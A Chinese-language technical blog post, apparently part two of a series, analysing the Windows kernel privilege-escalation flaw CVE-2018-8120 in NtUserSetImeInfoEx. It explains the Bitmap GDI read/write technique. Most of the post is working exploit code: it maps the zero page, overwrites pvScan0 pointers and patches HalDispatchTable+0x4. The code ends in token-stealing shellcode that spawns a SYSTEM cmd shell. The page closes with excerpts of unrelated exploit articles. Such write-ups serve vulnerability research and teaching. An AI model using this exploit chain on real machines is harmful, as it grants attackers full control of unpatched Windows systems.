<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    【技術分享】Windows內核提權漏洞CVE-2018-8120分析 - 下

    VSole2021-07-29 16:10:02

    Bitmap GDI技術

    BitmapGDI技術,是指通過Bitmap對象信息泄露漏洞,衍生出的一種內核內存污染技術,據了解,Bitmap對象信息漏洞最早由國外安全研究員 Cesar Cerrudo 于2004年報告至微軟,而真正公布的時間是在2006年的11月,至到2015年經安全研究人員于社區分享發布,因可以用作將內核任意寫漏洞轉換為內核任意讀寫漏洞而漸入眼簾。

    (一)原理

    用戶態程序使用CreateBitmap函數創建得到的Bitmap對象的成員結構中,有存在于內核空間中的成員指針變量pvScan0,而該指針變量可以在用戶態下,通過調用GetBitmaps以及SetBitmaps方法,對pvScan0指向的內存地址進行讀取和寫入。

    因此,如果通過內核寫漏洞修改指針變量pvScan0,我們就可以在用戶態下通過Set\GetBitmaps方法,對內核空間進行讀取和寫入,最終將內核任意寫漏洞,轉化為內核任意讀寫漏洞。

    (二)指針變量pvScan0在哪?

    當程序調用了CreateBitmap方法后,程序的進程環境控制塊(PEB)中的GdiSharedHandleTable表便增加了一個索引,該索引對象的結構為:

    typedef struct _GDICELL{    LPVOID pKernelAddress;    USHORT wProcessId;    USHORT wCount;    USHORT wUpper;    USHORT wType;    LPVOID pUserAddress;} GDICELL;
    

    該對象的pKernelAddress泄露了Bitmap對象的內核地址,繼續來看pKernelAddress指向的數據結構:

    typedefstruct {BASEOBJECT BaseObject; //0x00SURFOBJ SurOBJ; //0x18}
    typedef struct _BASEOBJECT {    HANDLE    hHmgr; 0x04    PVOID     pEntry; 0x08    LONG      cExclusiveLock; 0x0d    PW32THREAD Tid;0x10} BASEOBJECT, *POBJ;
    typedef struct _SURFOBJ {    DHSURF dhsurf;       0x04    HSURF  hsurf;         0x08    DHPDEV dhpdev;        0x09    HDEV   hdev;          0x0a    SIZEL  sizlBitmap;    0x0e    ULONG  cjBits;        0x12    PVOID  pvBits;        0x16    PVOID  pvScan0;       0x20    LONG   lDelta;        0x24    ULONG  iUniq;        0x28    ULONG  iBitmapFormat; 0x2c    USHORT iType;        0x2e    USHORT fjBitmap;      0x30} SURFOBJ
    

    于是,我們可以了解到,在32位系統下,通過GDICELL->pKernelAddress + 0x30(在64位系統下是0x50,具體計算成員變量指針所占字節),即可得到指向pvScan0指針的偏移量。

    (三)如何利用漏洞來更改pvScan0指針?

    首先,創建2個Bitmap對象,姑且稱其分別為Work、Manager。第一張圖,是未修改前的初始狀態。

    下圖,是使用內核任意寫漏洞,將Manager的pvScan0指針改寫過后的狀態,邏輯可能需要反復理解。

    將WorkPvScan0在pKernelAddress中的偏移量寫入到Manager的PvScan0,至此Manager的PvScan0指針更改為指向WorkPvScan0的指針。通過對ManagerBitmap對象做SetBitmaps操作,可以設置Work的PvScan0指針的值,進而指向任意地址。

    隨后再通過對WokerBitmap對象做Set\GetBitmaps操作,完成內核讀寫。

     

    利用NtUserSetImeInfoEx漏洞

    (一)回顧漏洞代碼邏輯

    再次回顧,導致任意寫漏洞的代碼邏輯路徑。

    GetProcessWindowStation得到tagWindowStation對象,其結構為:

    kd> dt tagwindowstationwin32k!tagWINDOWSTATION   +0x000 dwSessionId     : Uint4B   +0x004 rpwinstaNext    : Ptr32 tagWINDOWSTATION   +0x008 rpdeskList      : Ptr32 tagDESKTOP   +0x00c pTerm           : Ptr32 tagTERMINAL   +0x010 dwWSF_Flags     : Uint4B   +0x014 spklList        : Ptr32 tagKL   +0x018 ptiClipLock     : Ptr32 tagTHREADINFO   +0x01c ptiDrawingClipboard : Ptr32 tagTHREADINFO   +0x020 spwndClipOpen   : Ptr32 tagWND   +0x024 spwndClipViewer : Ptr32 tagWND   +0x028 spwndClipOwner  : Ptr32 tagWND   +0x02c pClipBase       : Ptr32 tagCLIP   +0x030 cNumClipFormats : Uint4B   +0x034 iClipSerialNumber : Uint4B   +0x038 iClipSequenceNumber : Uint4B   +0x03c spwndClipboardListener : Ptr32 tagWND   +0x040 pGlobalAtomTable : Ptr32 Void   +0x044 luidEndSession  : _LUID   +0x04c luidUser        : _LUID   +0x054 psidUser        : Ptr32 Void
    

    因此,a1為tagWindowStation對象,V3為tagWindowStation->spklList,spklList對象的結構為:

    kd> dt win32k!tagKL   +0x000 head            : _HEAD   +0x008 pklNext         : Ptr32 tagKL   +0x00c pklPrev         : Ptr32 tagKL   +0x010 dwKL_Flags      : Uint4B   +0x014 hkl             : Ptr32 HKL__   +0x018 spkf            : Ptr32 tagKBDFILE   +0x01c spkfPrimary     : Ptr32 tagKBDFILE   +0x020 dwFontSigs      : Uint4B   +0x024 iBaseCharset    : Uint4B   +0x028 CodePage        : Uint2B   +0x02a wchDiacritic    : Wchar   +0x02c piiex           : Ptr32 tagIMEINFOEX   +0x030 uNumTbl         : Uint4B   +0x034 pspkfExtra      : Ptr32 Ptr32 tagKBDFILE   +0x038 dwLastKbdType   : Uint4B   +0x03c dwLastKbdSubType : Uint4B   +0x040 dwKLID          : Uint4B
    

    v3[5]為tagWindowStation->spklList->hkl,最后v3[11]為tagWindowStation->spklList->piiex。代碼邏輯可以轉化為:

    v3 = tagWindowStation->spklList;while ( spklList->hkl != a2[0]){....}v4 = spklList->piiex;if( !v4[18]){qmemcpy(v4,a2,348u);}
    

    (二)布局零頁構造入參

    假設我們傳入NtUserSetImeInfoEx的參數名稱為buf,那么我們需令tagwindowstation->spklList->hkl等于 buf[0],令tagwindowstation->spklList->piiex不為空,令tagwindowstation->spklList->piiex->fLoadFlag不為空,就可以將buf中的數據拷貝到v4指向的地址中,此處v4為tagwindowstation->spklList->piiex。由于tagwindowstation->spklList默認為NULL,等同于從0x00000000(零地址)讀起,那么我們首先創建零頁。

    //創建零頁// 定義NtAllocateVirtualMemory函數結構typedef NTSTATUS(WINAPI* MyNtAllocate)(IN HANDLE ProcessHandle,IN OUT PVOID* BaseAddress,IN ULONG ZeroBits,IN OUT PULONG RegionSize,IN ULONG AllocationType,IN ULONG Protect);
    void allocateZero(){PVOID baseAddr = (PVOID)0x100; //以0x100作為起始地址DWORD size = 0x1000; // 分配頁面大小為4KBMyNtAllocate fun;*(FARPROC*)&fun = GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtAllocateVirtualMemory");if (fun == NULL){printf("[-] fail to GetAddress");exit(-1);}fun(GetCurrentProcess(), &baseAddr, 0, &size, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);//分配內存空間printf("success to allocate Zero Page!");}
    

    分別創建Work、Manager的bitmap對象,并計算得到偏移量,為了更改Manager的pvScan0為Worker的pvScan0偏移量,就要使v4為Manager的pvScan偏移量,a2[0]為Wokerpvscan0對象偏移量,于是,要在零頁構造要被讀取的數據(留意這里pvScan0跟pvScan0的偏移量不一樣,pvScan0的偏移量保存的是pvScan0指針的地址,而pvScan0指針,保存的是另一數據的地址)

    unsigned int bbuf[0x60] = { 0x90 };HANDLE gManger = CreateBitmap(0x60, 1, 1, 32, bbuf);HANDLE gWorker = CreateBitmap(0x60, 1, 1, 32, bbuf);
    DWORD getpeb(){//讀取fs寄存器偏移量0x30,即為PEBDWORD p = (DWORD)__readfsdword(0x30);return p;}DWORD gTableOffset = 0x094;DWORD getgdi(){return *(DWORD*)(getpeb() + gTableOffset);}DWORD gtable;PVOID getpvscan0(HANDLE h){if (!gtable)gtable = getgdi();// Bitmap句柄的末尾四字節為GDICELL在GdiShareHandleTable中的索引,通過LOWROD來取DWORD p = (gtable + LOWORD(h) * sizeof(GDICELL)) & 0x00000000ffffffff;GDICELL* c = (GDICELL*)p;return (char*)c->pKernelAddress + 0x30;}
    //得到偏移量PVOID managerpv= getpvscan0(gManger);PVOID workpv = getpvscan0(gWorker);
    //使tagwindowstation->spklList->hkl(內存偏移為0x00000014) = workpvscan0偏移量*(DWORD*)(0x14) = (DWORD)(workpv);//使tagwindowstation->spklList->piiex(內存偏移為0x0000002c)= managerpvscan0偏移量*(DWORD*)(0x2C) = (DWORD)(managerpv);
    // 由于拷貝384字節,設置buf為大于384字節即可,并將buf每個字節設置0,避免讀取空//為跳過While循環,我們令DWORD Buf[0] = workpvscan0偏移量,由于類型為DWORD,因此每次讀取4字節。
    char buf[0x200];RtlSecureZeroMemory(&buf, 0x200);
    PVOID *p = (PVOID*)&buf;p[0] = (PVOID)wo
    

    由于我們直接覆蓋pvscan0后的數據,因此要對pvscan0后的其余成員變量進行填充修復,避免影響Get\SetBitmaps函數的使用,正常情況下,成員變量的值為下圖中紅框處,我們填充進buf當中。

    p[0] 為WorkBitmap的pvscan0偏移,圖中為83f7f3fc

    p[1] = 0x180;p[2] = 0x2110;p[3] = 6;p[4] = 0x10000;// p[5] = 0x00000000,因為先前buf已經分配0,因此不用賦值p[6] = 0x4800200;
    //調用存在漏洞的NtUserSetImeInfoExHWINSTA hStation = CreateWindowStation(0, 0, READ_CONTROL, 0);SetProcessWindowStation(hStation);NtUserSetImeInfoEx((PVOID)&buf)
    

    此時,再進行調試,就可以發現,ManagerPvscan0已經指向了“WorkPvscan0的偏移量”了,Windbg調試命令如下:

    kd> !process 0 0 project3.exePROCESS 866c0858 SessionId: 1 Cid: 0eb0   Peb: 7ffdc000 ParentCid: 0c08    DirBase: 3f3373c0 ObjectTable: 88257c78 HandleCount: 19.Image: Project3.exe
    kd> .process /r /p 866c0858
    dt _peb @$peb+0x094 GdiSharedHandleTable : 0x00480000 Void
    kd> dd 0x00480000 + (0x89050cd3 & 0xffff) * 0x100048cd30 fe674608 00000eb0 40058905 00000000
    kd> dd fe674608 + 0x30fe674638 fdfe0ad0 00000180 00002111 00000
    

    至此,通過對ManagerBitmap句柄做SetBitmaps操作,即可更改WorkPvscan0指針的值,可指向內核任意地址。

    (三)替換系統函數執行ShellCode實現提權原理

    這里的ShellCode采用替換進程的令牌Toekn的方法,將當前用戶態進程的令牌Token替換為高權限進程的Token,進而實現權限提升。

    __declspec(naked) VOID ShellCode(){_asm{pushadmov eax, fs: [124h] // Find the _KTHREAD structure of the current threadmov eax, [eax + 0x50] // find the _EPROCESS structuremov ecx, eaxmov edx, 4 // edx = system PID(4)
    // The loop is to get the _EPROCESS of systemfind_sys_pid :mov eax, [eax + 0xb8] // Find the linked list of process activitiessub eax, 0xb8  // Linked list traversalcmp[eax + 0xb4], edx  // Determine whether it is SYSTEM according to PIDjnz find_sys_pid
    // Replace Tokenmov edx, [eax + 0xf8]mov[ecx + 0xf8], edxpopadxor eax, eaxret
    }}
    

    單純在用戶態定義shellcode函數并進行調用,是無法獲取高權限的進程令牌Token的,因此需要在內核態中,對shellcode函數進行調用,方可實現令牌Token替換的目的。

    由于,我們具備了在內核態中的讀寫能力,我們可以找到在用戶態中可以調用的,并且會產生模式切換的系統API函數,通過內核寫,將該函數的入口地址修改為shellcode函數的入口地址,當我們在用戶態調用該函數時,會進行模式切換,切換為內核模式并以內核權限調用我們的shellcode函數,進而實現提權。

    我們可以在SSDT(SystemService Dispatch Table)、HalDispatchTable 兩個表中去尋找可調用的內核API函數。在選用內核 API 函數的時候,要盡可能選擇較少調用的函數,避免在修改了函數地址同時時,有其他進程進行調用,導致內存訪問出錯或程序崩潰。參考鏈接:https://blog.csdn.net/qq_43312649/article/details/105295017

    這里選用的內核API函數為NtQueryIntervalProfile,NtQueryIntervalProfile函數是在ntdll.dll中導出的未公開的系統調用,可以直接在用戶態下進行調用,因此我們可以通過Bitmap GDI技術,對該函數的入口地址進行替換與恢復。NtQueryIntervalProfile()是Ntdll.dll中導出的未公開的系統調用,它會調用由內核可執行程序ntosknl.exe導出的KeQueryIntervalProfile函數。

    而KeQueryIntervalProfile函數又會進一步調用HalDispatchTable表加0x4偏移量的函數地址

    因此,我們可以將ShellCode的入口地址,通過內核寫漏洞,寫入到HalDispatchTable + 0x4中,當我們調用NtQueryIntervalProfile并產生模式切換的時候,就會在內核態中調用我們的ShellCode函數,進而完成提權。

    (四)尋找HalDispatchTable地址

    對于Windows系統的內核態而言,可劃分為以下:

    (1)硬件抽象層(HardwareAbstraction Layer -> Hal)

    (2)內核(Kernel)

    (3)運行體(Executive)

    (4)窗體圖形子系統(WindowsGraphicsSubsystem)

    而HalDispatch正是與硬件抽象層有關,因此我們需從系統加載的內核程序中進行導出,此處以加載內核程序ntkrnlpa.exe為例,通過EnumDeviceDrivers函數,獲取在內核空間中ntkrnlpa.exe運行時的基址。

    #includeLPVOID NtkrnlpaBase(){    LPVOID lpImageBase[1024];    DWORD lpcbNeeded;   CHAR lpfileName[1024];    //Retrieves the load address for each device driver in the system    EnumDeviceDrivers(lpImageBase, sizeof(lpImageBase), &lpcbNeeded);
        for (int i = 0; i < 1024; i++)    {        //Retrieves the base name of the specified device driver        GetDeviceDriverBaseNameA(lpImageBase[i], lpfileName, 48);        if (!strcmp(lpfileName, "ntkrnlpa.exe"))        {            printf("[+]success to get %s", lpfileName);            return lpImageBase[i];        }    }    return NULL;}
    

    然后在用戶態,加載ntkrnlpa.exe程序,并搜索HalDispatchTable表的導出地址,并用用戶態中的HalDispatchTable導出地址減去用戶態中加載ntkrnlpa.exe的模塊基址,就可以獲得HalDispatchTable表相對于模塊基址的偏移量,最后由內核空間中ntkrnlpa.exe基址加上偏移量,得到HalDispatchTable在內核中的地址,并加上0x4偏移量進行返回。

    DWORD32 GetHalOffset_4(){    // 獲取ntkrnlpa.exe運行時基址    PVOID pNtkrnlpaBase = NtkrnlpaBase();    printf("[+]ntkrnlpa base address is 0x%p", pNtkrnlpaBase);
        // 獲取用戶態加載ntkrnlpa.exe的地址    HMODULE hUserSpaceBase = LoadLibrary("ntkrnlpa.exe");
        // 獲取用戶態中HalDispatchTable的地址    PVOID pUserSpaceAddress = GetProcAddress(hUserSpaceBase, "HalDispatchTable");
        // 由ntkrnlpa.exe運行時基址加上HalDispatchTable偏移量,得到HalDispatchTable在內核空間中的地址,加上0x4偏移量    DWORD32 hal_4 = (DWORD32)pNtkrnlpaBase + ((DWORD32)pUserSpaceAddress - (DWORD32)hUserSpaceBase) + 0x4;    printf("[+]HalDispatchTable+0x4 is 0x%p", hal_4);    return (DWORD32)hal_4;}
    

    (五)觸發ShellCode

    // 定義函數原型typedef NTSTATUS(WINAPI* NtQueryIntervalProfile_t)(    IN ULONG ProfileSource,    OUT PULONG Interval);PVOID pOrg = 0;    DWORD haladdr = GetHalOffset_4();    PVOID oaddr = (PVOID)haladdr;    PVOID sc = &ShellCode;
    //替換NtQueryIntervalProfile的地址為shellcode的地址SetBitmapBits((HBITMAP)gManger, sizeof(PVOID), &oaddr); //Use manager to set the modifiable address of worker as hal function    printf("[+]The target address to be overwritten 0x%x", oaddr);    GetBitmapBits((HBITMAP)gWorker, sizeof(PVOID), &pOrg);//Get the address that can be modified    SetBitmapBits((HBITMAP)gWorker, sizeof(PVOID), &sc);//Set the address to shellcode    printf("[+] Overwriting is complete, ready to execute Shellcode");
        // 調用NtQueryIntervalProfile,觸發shellcode函數    NtQueryIntervalProfile_t NtQueryIntervalProfile = (NtQueryIntervalProfile_t)GetProcAddress(LoadLibrary("ntdll.dll"), "NtQueryIntervalProfile");    printf("[+]NtQueryIntervalProfile address is 0x%x", NtQueryIntervalProfile);    DWORD interVal = 0;    NtQueryIntervalProfile(0x1337, &interVal);    //恢復NtQueryIntervalProfile函數地址SetBitmapBits((HBITMAP)gWorker, sizeof(PVOID), &pOrg);system("cmd");
    

     

    踩坑

    (一)編譯時,留意Visual Studio的MFC以及字符集設置,如果采用靜態,則調用函數時,要留意末端是W(Unicode字符集)還是A(多字節字符集),所選用的函數必須與字符集相匹配,否則會出現正常編譯運行,但沒有效果的問題。

    (二)計算偏移時,要留意內存對齊問題

    參考鏈接

    (一)https://www.freebuf.com/vuls/180227.html

    (二)https://docs.microsoft.com/en-us/previous-versions/bb665982(v=msdn.10)

    (三)http://t.zoukankan.com/exclm-p-4107662.html

    (四)https://www.coresecurity.com/sites/default/files/private-files/publications/2016/10/Abusing%20GDI%20for%20ring0%20exploit%20primitives-2015.pdf

    (五)https://www.programmersought.com/article/84165899589/

    偏移量指針變量
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    前文再續,書接上一回《Windows內核提權漏洞CVE-2018-8120的分析·上》(https://www.anquanke.com/post/id/241057)?。
    可在其中找受影響的版本復現,在受影響版本的系統中找到win32k.sys導入IDA。漏洞函數位于win32k.sys的SetImeInfoEx()函數,該函數在使用一個內核對象的字段之前并沒有進行是否為空的判斷,當該值為空時,函數直接讀取零地址內存。如果在當前進程環境中沒有映射零頁面,該函數將觸發頁面錯誤異常,導致系統藍屏發生。tagWINDOWSTATIONspklList對象的結構為:漏洞觸發驗證查看SSDT表dd KeServiceDescriptorTabledds Address L11C 顯示地址里面值指向的地址. 以4個字節顯示。
    shellcode loader的編寫
    2023-04-17 11:15:39
    改變加載方式指針執行#include?參數1:分配的內存的起始地址,如果為NULL則由系統決定。參數2:分配的內存大小,以字節為單位。參數3:分配的內存類型,MEM_COMMIT表示將分配的內存立即提交給物理內存,MEM_RESERVE表示保留內存但不提交。參數4:分配的內存保護屬性,PAGE_READWRITE可讀可寫,PAGE_EXECUTE_READ可執行可讀。結構體的指針,用于指定新線程的安全屬性,NULL表示默認安全屬性
    C和C++向來以“let the programmer do what he wants to do”的貼近底層而為廣大開發者所喜愛。
    SMB協議可在互聯網的TCP/IP協議或者互聯網數據包交換和NetBEUI等協議之上使用。使用SMB協議,應用程序可訪問遠程服務器的文件以及打印機、信槽和命名管道等資源。RemoveLegacyFolder就是采用思路2來移除經典路徑..\的,向前搜索的過程存在風險,并且對其邊界檢查無效,從而導致了緩沖區溢出的產生。
    STATEMENT聲明由于傳播、利用此文所提供的信息而造成的任何直接或者間接的后果及損失,均由使用者本人負責,雷神眾測及文章作者不為此承擔任何責任。雷神眾測擁有對此文章的修改和解釋權。
    在該程序中只需要判斷x=4即可獲得系統shell。查看發現x的值為3,同時得到x的地址為0x804A02C在printf函數中的參數可控 于是可能存在格式化字符漏洞,利用字符串漏洞重寫x的值。輸入的字符串會存儲進入棧內,然后printf函數使用輸入的內容作為格式化字符串進行控制輸出。輸入多個%p打印棧上的內容判斷輸入的數據在棧上離棧頂的偏移。構造如下AAAA-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%pfrom pwn import *p=remoteadrr=p32PAYLOAD=b"AAAA-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p"p.sendline. p.interactive()可以計算該偏移量為11。
    源碼分析1、LLVM編譯器簡介LLVM 命名最早源自于底層虛擬機的縮寫,由于命名帶來的混亂,LLVM就是該項目的全稱。LLVM 核心庫提供了與編譯器相關的支持,可以作為多種語言編譯器的后臺來使用。自那時以來,已經成長為LLVM的主干項目,由不同的子項目組成,其中許多是正在生產中使用的各種 商業和開源的項目,以及被廣泛用于學術研究。
    TP-LINK 型號為 TL-WR841N V10 的路由器設備上的漏洞被分配 ID CVE-2020-8423。該漏洞允許經過身份驗證的攻擊者通過向 wifi 網絡配置發送 GET 請求來遠程執行設備上的任意代碼。
    在上周末的深育杯線上賽中,遇到了一個挺有意思的題目,叫 HelloJerry,考察的是 JerryScript 引擎的漏洞利用。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类